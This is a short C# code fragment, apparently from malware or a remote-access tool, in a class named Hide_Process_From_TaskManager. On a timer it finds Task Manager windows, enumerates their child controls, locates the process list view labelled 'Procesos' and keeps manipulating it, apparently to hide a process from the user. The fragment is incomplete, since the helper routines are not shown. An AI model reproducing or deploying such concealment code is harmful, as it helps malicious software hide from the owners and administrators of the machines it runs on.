private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) { string str2 = ObtenerClase(lngHwnd); string str3 = ObtenerTextoVentana(lngHwnd); if (Strings.InStr(str2, "SysListView32", CompareMethod.Binary) > 0) { GetItems.GetListView(hwnd, lngHwnd); if (Strings.InStr(str3, "Procesos", CompareMethod.Binary) > 0) { ProcLV = lngHwnd; } } string str = lngHwnd.ToString() + ", " + str2 + ", " + str3; return(1); }
private static void t_Tick(object sender, EventArgs e) { if (ProcLV == IntPtr.Zero) { foreach (string str in Task_Manager_Window_Titles) { string lpClassName = null; hwnd = (IntPtr)FindWindow(ref lpClassName, ref str); if (hwnd != IntPtr.Zero) { EnumChildWindows(hwnd, new EnumDelegate(Hide_Process_From_TaskManager.EnumChildWindows), 0); } } } else { GetItems.GetListView(hwnd, ProcLV); } }